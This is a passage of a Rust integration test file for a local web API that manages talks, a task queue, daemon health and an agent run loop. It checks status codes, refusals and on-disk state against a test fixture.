5502 let f = Fixture::start().await;
5503 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
5504
5505 let res = f
5506 .post(
5507 &format!("/api/talks/{id}/say"),
5508 Some(&format!(
5509 r#"{{"text":"hi","attachments":["{}"]}}"#,
5510 "a".repeat(32)
5511 )),
5512 )
5513 .await;
5514 assert!((400..500).contains(&res.status), "{}", res.body);
5515 assert!(res.body.contains("unknown attachment"), "{}", res.body);
5516
5517 let on_disk = f.talks().get(&id).expect("get");
5518 assert!(
5519 on_disk.turns.is_empty(),
5520 "a rejected attachment id must not partially record the turn: {:?}",
5521 on_disk.turns
5522 );
5523 }
5524
5525 #[tokio::test]
5526 async fn talk_close_makes_the_talk_refuse_further_turns() {
5527 let f = Fixture::start().await;
5528 let id = seed_talk(&f, "20260904-014455-cd34", "open");
5529
5530 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5531 assert_eq!(closed.status, 200, "{}", closed.body);
5532 assert_eq!(closed.json()["status"], "closed");
5533
5534 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
5536 assert_eq!(closed_again.status, 200);
5537 assert_eq!(closed_again.json()["status"], "closed");
5538
5539 let said = f
5540 .post(
5541 &format!("/api/talks/{id}/say"),
5542 Some(r#"{"text":"too late"}"#),
5543 )
5544 .await;
5545 assert_eq!(said.status, 409, "{}", said.body);
5546 }
5547
5548 #[tokio::test]
5549 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
5550 let (_tmp, _repo, f) = talk_fixture().await;
5551 let id = f.post("/api/talks", None).await.json()["id"]
5552 .as_str()
5553 .expect("id")
5554 .to_owned();
5555 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5556 assert_eq!(closed.status, 200, "{}", closed.body);
5557
5558 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5559 assert_eq!(reopened.status, 200, "{}", reopened.body);
5560 assert_eq!(reopened.json()["status"], "open");
5561
5562 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
5564 assert_eq!(reopened_again.status, 200);
5565 assert_eq!(reopened_again.json()["status"], "open");
5566
5567 let said = f
5568 .post(
5569 &format!("/api/talks/{id}/say"),
5570 Some(r#"{"text":"still there?"}"#),
5571 )
5572 .await;
5573 assert_eq!(
5574 said.status, 202,
5575 "a reopened talk accepts turns again: {}",
5576 said.body
5577 );
5578 }
5579
5580 #[tokio::test]
5581 async fn talk_reopen_on_an_unknown_id_is_404() {
5582 let f = Fixture::start().await;
5583 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
5584 assert_eq!(res.status, 404, "{}", res.body);
5585 }
5586
5587 #[tokio::test]
5588 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
5589 let f = Fixture::start().await;
5590 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
5591
5592 let deleted = f.delete(&format!("/api/talks/{id}")).await;
5593 assert_eq!(deleted.status, 204, "{}", deleted.body);
5594
5595 let after = f.get(&format!("/api/talks/{id}")).await;
5596 assert_eq!(after.status, 404, "{}", after.body);
5597
5598 let listed = f.get("/api/talks").await.json();
5599 assert!(
5600 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
5601 "a deleted talk must not linger in the list: {listed}"
5602 );
5603 }
5604
5605 #[tokio::test]
5606 async fn talk_delete_on_an_unknown_id_is_404() {
5607 let f = Fixture::start().await;
5608 let res = f.delete("/api/talks/nonexistent-id").await;
5609 assert_eq!(res.status, 404, "{}", res.body);
5610 }
5611
5612 #[tokio::test]
5613 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
5614 let f = Fixture::start().await;
5615 let queue = f.queue();
5616 let mut task = Task::new(
5617 "spent".to_owned(),
5618 "Try again".to_owned(),
5619 PathBuf::from("/repo/magi"),
5620 Source::Human,
5621 );
5622 task.start("20260902-140502-bbbb".to_owned());
5623 task.fail("agent gave up", 9);
5624 queue.put(&mut task).expect("file the task");
5625
5626 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5627 assert_eq!(held.status, 200);
5628 assert_eq!(held.json()["status_str"], "held");
5629
5630 let released = f
5631 .post(&format!("/api/queue/{}/release", task.id), None)
5632 .await;
5633 assert_eq!(released.status, 200);
5634 assert_eq!(released.json()["status_str"], "queued");
5635 assert_eq!(
5636 released.json()["attempts"],
5637 0,
5638 "release is a real second chance, not an instant re-hold"
5639 );
5640 assert_eq!(
5641 queue.get(&task.id).expect("reload").status,
5642 TaskStatus::Queued,
5643 "the change is on disk, not only in the reply"
5644 );
5645 assert!(
5646 !f.home
5647 .path()
5648 .join("queue")
5649 .join(format!("{}.lock", task.id))
5650 .exists(),
5651 "the claim the mutation took is released again"
5652 );
5653 }
5654
5655 #[tokio::test]
5656 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
5657 let f = Fixture::start().await;
5658 let queue = f.queue();
5659 let mut task = Task::new(
5660 "busy".to_owned(),
5661 "Running right now".to_owned(),
5662 PathBuf::from("/repo/magi"),
5663 Source::Human,
5664 );
5665 queue.put(&mut task).expect("file the task");
5666 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5667
5668 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5669
5670 assert_eq!(res.status, 409);
5671 assert_eq!(
5672 queue.get(&task.id).expect("reload").status,
5673 TaskStatus::Queued,
5674 "the refused hold changed nothing"
5675 );
5676 }
5677
5678 #[tokio::test]
5679 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
5680 let f = Fixture::start().await;
5681 let queue = f.queue();
5682 let mut task = Task::new(
5683 "waiting on the migration".to_owned(),
5684 "Do the thing".to_owned(),
5685 PathBuf::from("/repo/magi"),
5686 Source::Human,
5687 );
5688 queue.put(&mut task).expect("file the task");
5689
5690 let held = f
5691 .post(
5692 &format!("/api/queue/{}/hold", task.id),
5693 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
5694 )
5695 .await;
5696 assert_eq!(held.status, 200, "{}", held.body);
5697 assert_eq!(held.json()["status_str"], "held");
5698 assert_eq!(
5699 held.json()["hold_reason"],
5700 "waiting for 20260101-000000-aaaa to land"
5701 );
5702
5703 let listed = f.get("/api/queue").await.json();
5704 assert_eq!(
5705 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
5706 "the card reads the reason off the same list route"
5707 );
5708
5709 let mut plain = Task::new(
5712 "no reason given".to_owned(),
5713 "Do another thing".to_owned(),
5714 PathBuf::from("/repo/magi"),
5715 Source::Human,
5716 );
5717 queue.put(&mut plain).expect("file the task");
5718 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
5719 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
5720 assert!(held_plain.json()["hold_reason"].is_null());
5721
5722 let released = f
5723 .post(&format!("/api/queue/{}/release", task.id), None)
5724 .await;
5725 assert_eq!(released.status, 200);
5726 assert!(
5727 released.json()["hold_reason"].is_null(),
5728 "a release must clear the reason so the next hold does not inherit it"
5729 );
5730 }
5731
5732 #[tokio::test]
5733 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
5734 let f = Fixture::start().await;
5735 let queue = f.queue();
5736 let mut older = Task::new(
5737 "filed first".to_owned(),
5738 "x".to_owned(),
5739 PathBuf::from("/repo/magi"),
5740 Source::Human,
5741 );
5742 older.id = "20260101-000001-aaaa".to_owned();
5743 let mut newer = Task::new(
5744 "filed second".to_owned(),
5745 "x".to_owned(),
5746 PathBuf::from("/repo/magi"),
5747 Source::Human,
5748 );
5749 newer.id = "20260101-000002-bbbb".to_owned();
5750 queue.put(&mut older).expect("file older");
5751 queue.put(&mut newer).expect("file newer");
5752
5753 let before = f.get("/api/queue").await.json();
5756 assert_eq!(before[0]["id"], newer.id);
5757 assert_eq!(before[1]["id"], older.id);
5758
5759 let raised = f
5763 .post(
5764 &format!("/api/queue/{}/priority", older.id),
5765 Some(r#"{"priority":10}"#),
5766 )
5767 .await;
5768 assert_eq!(raised.status, 200, "{}", raised.body);
5769 assert_eq!(raised.json()["priority"], 10);
5770
5771 let after = f.get("/api/queue").await.json();
5772 let names: Vec<&str> = after
5773 .as_array()
5774 .unwrap()
5775 .iter()
5776 .map(|t| t["id"].as_str().unwrap())
5777 .collect();
5778 assert_eq!(names[0], older.id, "the raised task now sorts first");
5782 }
5783
5784 #[tokio::test]
5785 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
5786 let f = Fixture::start().await;
5787 let queue = f.queue();
5788 let mut task = Task::new(
5789 "in flight".to_owned(),
5790 "x".to_owned(),
5791 PathBuf::from("/repo/magi"),
5792 Source::Human,
5793 );
5794 task.start("20260902-140502-bbbb".to_owned());
5795 queue.put(&mut task).expect("file the task");
5796
5797 let res = f
5798 .post(
5799 &format!("/api/queue/{}/priority", task.id),
5800 Some(r#"{"priority":9}"#),
5801 )
5802 .await;
5803 assert_eq!(res.status, 400, "{}", res.body);
5804 assert!(
5805 res.json()["error"]
5806 .as_str()
5807 .is_some_and(|e| e.contains("running")),
5808 "{}",
5809 res.body
5810 );
5811 assert_eq!(
5812 queue.get(&task.id).expect("reload").priority,
5813 0,
5814 "the refused write must not partially apply"
5815 );
5816 }
5817
5818 #[tokio::test]
5819 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
5820 let f = Fixture::start().await;
5821 let queue = f.queue();
5822 let mut task = Task::new(
5823 "old title".to_owned(),
5824 "old instruction".to_owned(),
5825 PathBuf::from("/repo/magi"),
5826 Source::Agent {
5827 run: "20260101-000000-beef".to_owned(),
5828 node: "implement".to_owned(),
5829 },
5830 );
5831 task.runs.push("20260101-000000-beef".to_owned());
5832 queue.put(&mut task).expect("file the task");
5833 let created_at = task.created_at;
5834
5835 let edited = f
5836 .post(
5837 &format!("/api/queue/{}/edit", task.id),
5838 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
5839 )
5840 .await;
5841 assert_eq!(edited.status, 200, "{}", edited.body);
5842 let body = edited.json();
5843 assert_eq!(body["title"], "new title");
5844 assert_eq!(body["instruction"], "new instruction");
5845 assert_eq!(body["id"], task.id, "editing must not mint a new id");
5846 assert_eq!(body["created_at"], created_at.to_string());
5847 assert_eq!(
5848 body["source"]["kind"], "agent",
5849 "editing a task an agent filed must not turn it human: {body}"
5850 );
5851 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
5852
5853 let reloaded = queue.get(&task.id).expect("reload");
5854 assert_eq!(reloaded.title, "new title");
5855 assert_eq!(reloaded.instruction, "new instruction");
5856 }
5857
5858 #[tokio::test]
5859 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
5860 let f = Fixture::start().await;
5861 let queue = f.queue();
5862 let mut task = Task::new(
5863 "in flight".to_owned(),
5864 "do not touch".to_owned(),
5865 PathBuf::from("/repo/magi"),
5866 Source::Human,
5867 );
5868 task.start("20260902-140502-bbbb".to_owned());
5869 queue.put(&mut task).expect("file the task");
5870
5871 let res = f
5872 .post(
5873 &format!("/api/queue/{}/edit", task.id),
5874 Some(r#"{"title":"x","instruction":"y"}"#),
5875 )
5876 .await;
5877 assert_eq!(res.status, 400, "{}", res.body);
5878 assert!(
5879 res.json()["error"]
5880 .as_str()
5881 .is_some_and(|e| e.contains("running")),
5882 "{}",
5883 res.body
5884 );
5885 assert_eq!(
5886 queue.get(&task.id).expect("reload").instruction,
5887 "do not touch",
5888 "the refused edit must not change the file"
5889 );
5890 }
5891
5892 #[tokio::test]
5893 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
5894 let f = Fixture::start().await;
5895 let queue = f.queue();
5896 let mut task = Task::new(
5897 "busy".to_owned(),
5898 "Running right now".to_owned(),
5899 PathBuf::from("/repo/magi"),
5900 Source::Human,
5901 );
5902 queue.put(&mut task).expect("file the task");
5903 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5904
5905 let priority = f
5906 .post(
5907 &format!("/api/queue/{}/priority", task.id),
5908 Some(r#"{"priority":9}"#),
5909 )
5910 .await;
5911 assert_eq!(priority.status, 409, "{}", priority.body);
5912
5913 let edit = f
5914 .post(
5915 &format!("/api/queue/{}/edit", task.id),
5916 Some(r#"{"title":"x","instruction":"y"}"#),
5917 )
5918 .await;
5919 assert_eq!(edit.status, 409, "{}", edit.body);
5920 }
5921
5922 #[tokio::test]
5923 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
5924 let f = Fixture::start().await;
5925 let queue = f.queue();
5926 let mut task = Task::new(
5927 "shipped by hand".to_owned(),
5928 "merged outside the loop".to_owned(),
5929 PathBuf::from("/repo/magi"),
5930 Source::Agent {
5931 run: "20260101-000000-b455".to_owned(),
5932 node: "implement".to_owned(),
5933 },
5934 );
5935 task.runs.push("20260101-000000-b455".to_owned());
5936 task.runs.push("20260101-000000-9af4".to_owned());
5937 queue.put(&mut task).expect("file the task");
5938 let created_at = task.created_at;
5939
5940 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5941 assert_eq!(done.status, 200, "{}", done.body);
5942 assert_eq!(done.json()["status_str"], "done");
5943
5944 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
5945 assert_eq!(
5946 reloaded.runs,
5947 ["20260101-000000-b455", "20260101-000000-9af4"]
5948 );
5949 assert_eq!(
5950 reloaded.source,
5951 Source::Agent {
5952 run: "20260101-000000-b455".to_owned(),
5953 node: "implement".to_owned(),
5954 }
5955 );
5956 assert_eq!(reloaded.created_at, created_at);
5957 }
5958
5959 #[tokio::test]
5960 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
5961 let f = Fixture::start().await;
5966 let queue = f.queue();
5967 let mut task = Task::new(
5968 "landed while held".to_owned(),
5969 "x".to_owned(),
5970 PathBuf::from("/repo/magi"),
5971 Source::Human,
5972 );
5973 task.hold_manual(Some("waiting on 3ed9".to_owned()));
5974 queue.put(&mut task).expect("file the held task");
5975
5976 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5977 assert_eq!(done.status, 200, "{}", done.body);
5978 assert_eq!(done.json()["status_str"], "done");
5979 assert!(
5980 done.json()["hold_reason"].is_null(),
5981 "a done task cannot still be waiting on something: {}",
5982 done.body
5983 );
5984 }
5985
5986 #[tokio::test]
5987 async fn unknown_ids_are_json_not_found_on_both_stores() {
5988 let f = Fixture::start().await;
5989
5990 let run = f.get("/api/runs/nosuchrun").await;
5991 let task = f.post("/api/queue/nosuchtask/hold", None).await;
5992
5993 assert_eq!(run.status, 404);
5994 assert_eq!(task.status, 404);
5995 assert!(
5996 run.json()["error"]
5997 .as_str()
5998 .is_some_and(|e| e.contains("run")),
5999 "the error names what was not found: {}",
6000 run.body
6001 );
6002 assert!(
6003 task.json()["error"]
6004 .as_str()
6005 .is_some_and(|e| e.contains("task")),
6006 "the error names what was not found: {}",
6007 task.body
6008 );
6009 }
6010
6011 #[tokio::test]
6012 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6013 let f = Fixture::start().await;
6014
6015 let missing = f.get("/api/health").await.json();
6016 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6017
6018 write_daemon(
6019 f.home.path(),
6020 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6021 );
6022 let stale = f.get("/api/health").await.json();
6023 assert_eq!(
6024 stale["daemon"]["running"], false,
6025 "a minute without a heartbeat is a dead daemon, not a busy one"
6026 );
6027 assert!(
6028 stale["daemon"]["stale_for_secs"]
6029 .as_i64()
6030 .is_some_and(|s| s >= 55),
6031 "staleness is reported so the UI can say how long: {stale}"
6032 );
6033
6034 write_daemon(f.home.path(), Timestamp::now());
6035 let fresh = f.get("/api/health").await.json();
6036 assert_eq!(fresh["daemon"]["running"], true);
6037 assert_eq!(fresh["daemon"]["idle"], false);
6038 assert_eq!(fresh["daemon"]["pid"], 4242);
6039 assert_eq!(fresh["daemon"]["completed"], 7);
6040 assert_eq!(
6041 fresh["daemon"]["current"][0]["task"],
6042 "20260902-140501-aaaa"
6043 );
6044 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6045 }
6046
6047 #[tokio::test]
6048 async fn the_loop_is_not_running_until_something_starts_it() {
6049 let f = Fixture::start().await;
6050
6051 let view = f.get("/api/loop").await.json();
6052 assert_eq!(view["running"], false);
6053 assert_eq!(
6054 view["owned"], false,
6055 "nobody owns a loop that does not exist: {view}"
6056 );
6057 assert_eq!(view["stopping"], false);
6058 assert_eq!(view["last_error"], Value::Null);
6059 assert_eq!(view["daemon"]["running"], false);
6060 assert_eq!(
6061 view["repo"], "/repo/magi",
6062 "the repository a start would use, named before it is started"
6063 );
6064 }
6065
6066 #[tokio::test]
6067 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6068 let f = Fixture::start().await;
6069
6070 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6071 assert_eq!(res.status, 200, "{}", res.body);
6072 let view = res.json();
6073 assert_eq!(view["running"], true);
6074 assert_eq!(
6075 view["owned"], true,
6076 "the loop the UI started is the UI's own to stop: {view}"
6077 );
6078 assert_eq!(
6079 view["merge"],
6080 Value::Null,
6081 "no override was given, so each repository's own config decides"
6082 );
6083
6084 let health = f.get("/api/health").await.json();
6088 assert_eq!(health["loop"]["running"], true, "{health}");
6089 assert_eq!(health["loop"]["owned"], true, "{health}");
6090
6091 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6092 }
6093
6094 #[tokio::test]
6095 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6096 let f = Fixture::start().await;
6097 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6098 assert_eq!(first.status, 200, "{}", first.body);
6099
6100 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6101 assert_eq!(
6102 again.status, 409,
6103 "two loops on one queue race for the same claims: {}",
6104 again.body
6105 );
6106 assert!(
6107 again.json()["error"]
6108 .as_str()
6109 .is_some_and(|e| e.contains("already running the loop")),
6110 "the refusal has to say why: {}",
6111 again.body
6112 );
6113 assert_eq!(
6114 f.get("/api/loop").await.json()["running"],
6115 true,
6116 "and the loop that was already running is untouched by it"
6117 );
6118
6119 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6120 }
6121
6122 #[tokio::test]
6123 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6124 let f = Fixture::start().await;
6125 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6126
6127 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6128 assert_eq!(
6129 res.status, 200,
6130 "the answer must not wait for the loop: a run in flight is tens of \
6131 minutes and the operator is holding a phone: {}",
6132 res.body
6133 );
6134
6135 let view = settled(&f, |v| v["running"] == false).await;
6136 assert_eq!(view["owned"], false);
6137 assert_eq!(
6138 view["stopping"], false,
6139 "a loop that has stopped is not still stopping: {view}"
6140 );
6141 assert_eq!(
6142 view["last_error"],
6143 Value::Null,
6144 "a loop that was asked to stop did not fail: {view}"
6145 );
6146
6147 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6150 assert_eq!(twice.status, 200, "{}", twice.body);
6151 }
6152
6153 #[tokio::test]
6154 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6155 let f = Fixture::start().await;
6156 write_daemon(f.home.path(), Timestamp::now());
6159
6160 let view = f.get("/api/loop").await.json();
6161 assert_eq!(view["running"], false, "not in this process: {view}");
6162 assert_eq!(view["owned"], false, "and not this process's to control");
6163 assert_eq!(
6164 view["daemon"]["running"], true,
6165 "but a loop is alive somewhere, which is what the UI must say"
6166 );
6167 assert_eq!(view["daemon"]["pid"], 4242);
6168
6169 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6170 let res = f.post("/api/loop", Some(body)).await;
6171 assert_eq!(
6172 res.status, 409,
6173 "neither button may pretend to work on someone else's loop: {}",
6174 res.body
6175 );
6176 assert!(
6177 res.json()["error"]
6178 .as_str()
6179 .is_some_and(|e| e.contains("4242")),
6180 "the refusal has to name the process the operator must go to: {}",
6181 res.body
6182 );
6183 }
6184 assert_eq!(
6185 f.get("/api/loop").await.json()["running"],
6186 false,
6187 "and the refusal started nothing"
6188 );
6189 }
6190
6191 #[tokio::test]
6192 async fn a_stale_status_file_is_not_a_foreign_owner() {
6193 let f = Fixture::start().await;
6194 write_daemon(
6195 f.home.path(),
6196 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6197 );
6198
6199 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6200 assert_eq!(
6201 res.status, 200,
6202 "a daemon killed a minute ago must not lock the loop out of its \
6203 own home for good: {}",
6204 res.body
6205 );
6206 assert_eq!(res.json()["running"], true);
6207
6208 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6209 }
6210
6211 #[tokio::test]
6212 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6213 let f = Fixture::start().await;
6214 let before = f.get("/api/health").await.json()["loop_rev"]
6215 .as_u64()
6216 .expect("a loop revision");
6217
6218 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6219
6220 let after = f.get("/api/health").await.json()["loop_rev"]
6221 .as_u64()
6222 .expect("a loop revision");
6223 assert!(
6224 after > before,
6225 "the loop is in-process state, so this counter is the only thing \
6226 that tells a second device the first one started it: {before} -> \
6227 {after}"
6228 );
6229
6230 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6231 }
6232
6233 #[tokio::test]
6234 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6235 let f = Fixture::with_loop(launch_broken).await;
6236
6237 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6238 assert_eq!(
6239 res.status, 200,
6240 "starting it is not the failure: {}",
6241 res.body
6242 );
6243
6244 let view = settled(&f, |v| v["last_error"].is_string()).await;
6245 assert_eq!(
6246 view["running"], false,
6247 "a loop that died must not read as running, or the operator has \
6248 nothing to press: {view}"
6249 );
6250 assert_eq!(view["owned"], false);
6251 assert!(
6252 view["last_error"]
6253 .as_str()
6254 .is_some_and(|e| e.contains("read-only file system")),
6255 "the phone is where a loop that died at 3am is visible: {view}"
6256 );
6257
6258 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6261 assert_eq!(again.status, 200, "{}", again.body);
6262 assert_eq!(
6263 again.json()["last_error"],
6264 Value::Null,
6265 "a fresh start does not keep showing why the last one died"
6266 );
6267 }
6268
6269 #[tokio::test]
6281 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6282 let home = TempDir::new().expect("temp home");
6283 let runs = home.path().join("runs");
6284 std::fs::create_dir_all(&runs).expect("runs dir");
6285 let ui = Ui::new(
6286 Queue::at(home.path().join("queue")),
6287 Questions::at(home.path().join("questions")),
6288 Talks::at(home.path().join("talks")),
6289 runs,
6290 home.path().to_path_buf(),
6291 PathBuf::from("/repo/magi"),
6292 )
6293 .with_worktrees_root(home.path().join("wt"))
6294 .with_launch(launch_knocking_on_the_way_out);
6295 let looping = ui.looping();
6296 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6297 .await
6298 .expect("bind loopback");
6299 let addr = listener.local_addr().expect("local addr");
6300 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6301 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6302
6303 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6304 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6305
6306 let bound = std::sync::Mutex::new(None);
6309 hand_over(home.path(), &looping, served, || {
6310 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
6311 *bound.lock().expect("bound") = Some(attempt);
6312 Ok(())
6313 })
6314 .await
6315 .expect("hand over");
6316
6317 assert_eq!(
6318 *PARK_HEARD.lock().expect("park heard"),
6319 Some(200),
6320 "the deck must answer while the loop is parking"
6321 );
6322 let attempt = bound
6323 .lock()
6324 .expect("bound")
6325 .take()
6326 .expect("the successor was started");
6327 assert!(
6328 attempt.is_ok(),
6329 "and the address must be free by the time it is: {attempt:?}"
6330 );
6331 }
6332
6333 #[tokio::test]
6334 async fn a_newer_daemon_status_file_still_renders() {
6335 let f = Fixture::start().await;
6336 std::fs::write(
6339 f.home.path().join("daemon.json"),
6340 serde_json::json!({
6341 "schema": 2,
6342 "updated_at": Timestamp::now().to_string(),
6343 "idle": true,
6344 "surprise": { "nested": [1, 2, 3] },
6345 })
6346 .to_string(),
6347 )
6348 .expect("write daemon.json");
6349
6350 let health = f.get("/api/health").await;
6351
6352 assert_eq!(health.status, 200);
6353 assert_eq!(health.json()["daemon"]["running"], true);
6354 }
6355
6356 #[tokio::test]
6357 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6358 let f = Fixture::start().await;
6359 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6360 let broken = f.runs().join("20260902-140502-bad");
6361 std::fs::create_dir_all(&broken).expect("run dir");
6362 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6363
6364 let list = f.get("/api/runs").await;
6365 let detail = f.get("/api/runs/20260902-140502-bad").await;
6366
6367 assert_eq!(list.status, 200);
6368 let listed = list.json();
6369 let ids: Vec<&str> = listed
6370 .as_array()
6371 .expect("an array")
6372 .iter()
6373 .map(|r| r["id"].as_str().expect("an id"))
6374 .collect();
6375 assert_eq!(
6376 ids,
6377 vec!["20260902-140501-good"],
6378 "one unreadable run must not cost the operator the whole history"
6379 );
6380 assert_eq!(detail.status, 500);
6381 assert!(
6382 detail.json()["error"]
6383 .as_str()
6384 .is_some_and(|e| e.contains("run.json")),
6385 "the failure names the file to look at: {}",
6386 detail.body
6387 );
6388 let health = f.get("/api/health").await;
6392 assert_eq!(health.json()["runs_unreadable"], 1);
6393 }
6394
6395 #[tokio::test]
6396 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6397 let f = Fixture::start().await;
6398 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6399
6400 let summary = f.get("/api/runs").await.json();
6401 let row = &summary[0];
6402 assert_eq!(row["short"], "a1b2");
6403 assert_eq!(row["status"], "ready");
6404 assert_eq!(row["done"], true);
6405 assert_eq!(row["title"], "Add a web UI");
6406 assert_eq!(row["repo_name"], "magi");
6407 assert_eq!(row["judges"], 3);
6408 assert_eq!(row["winner"], Value::Null);
6409 assert_eq!(row["reviews"], 0);
6410
6411 let detail = f.get("/api/runs/a1b2").await;
6414 assert_eq!(detail.status, 200);
6415 assert_eq!(detail.json()["base_branch"], "main");
6416 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6417 }
6418
6419 #[tokio::test]
6424 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
6425 let f = Fixture::start().await;
6426 let id = "20260902-140502-bbbb";
6430 let mut state = RunState::new(
6431 PathBuf::from("/repo/magi"),
6432 "main".to_owned(),
6433 "0123456789abcdef".to_owned(),
6434 "Add a web UI".to_owned(),
6435 Config::default(),
6436 );
6437 state.id = id.to_owned();
6438 state.status = RunStatus::Judging;
6439 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
6440 let dir = f.runs().join(id);
6441 std::fs::create_dir_all(&dir).expect("run dir");
6442 std::fs::write(
6443 dir.join("run.json"),
6444 serde_json::to_string_pretty(&state).expect("serialize run"),
6445 )
6446 .expect("write run.json");
6447
6448 let cold = f.get(&format!("/api/runs/{id}")).await.json();
6451 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
6452 assert_eq!(cold["live"], false, "{cold}");
6453
6454 write_daemon(f.home.path(), Timestamp::now());
6457 let warm = f.get(&format!("/api/runs/{id}")).await.json();
6458 assert_eq!(warm["live"], true, "{warm}");
6459 }
6460
6461 #[tokio::test]
6462 async fn the_run_list_is_newest_first_and_honours_a_limit() {
6463 let f = Fixture::start().await;
6464 for id in [
6465 "20260902-140501-aaaa",
6466 "20260902-140502-bbbb",
6467 "20260902-140503-cccc",
6468 ] {
6469 write_run(&f.runs(), id, RunStatus::Merged);
6470 }
6471
6472 let all = f.get("/api/runs").await.json();
6473 let capped = f.get("/api/runs?limit=2").await.json();
6474
6475 assert_eq!(all[0]["id"], "20260902-140503-cccc");
6476 assert_eq!(all.as_array().map(Vec::len), Some(3));
6477 assert_eq!(capped.as_array().map(Vec::len), Some(2));
6478 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
6479 }
6480
6481 #[tokio::test]
6482 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
6483 let f = Fixture::start().await;
6484 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
6485
6486 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
6487
6488 assert_eq!(res.status, 200);
6489 assert!(
6490 res.headers
6491 .contains("content-type: text/plain; charset=utf-8"),
6492 "a browser must render it, not download it: {}",
6493 res.headers
6494 );
6495 assert!(
6499 res.body.contains("20260902-140501-a1b2"),
6500 "the report is about the run that was asked for: {}",
6501 res.body
6502 );
6503 }
6504
6505 #[tokio::test]
6506 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
6507 let f = Fixture::start().await;
6508
6509 let html = f.get("/").await;
6510 let css = f.get("/app.css").await;
6511 let js = f.get("/app.js").await;
6512
6513 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
6514 assert!(
6515 html.headers
6516 .contains("content-type: text/html; charset=utf-8")
6517 );
6518 assert!(css.headers.contains("content-type: text/css"));
6519 assert!(js.headers.contains("content-type: text/javascript"));
6520 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
6521 }
6522
6523 #[test]
6524 fn review_rounds_label_a_distinct_verified_head() {
6525 assert!(APP_JS.contains("round.verified_head"));
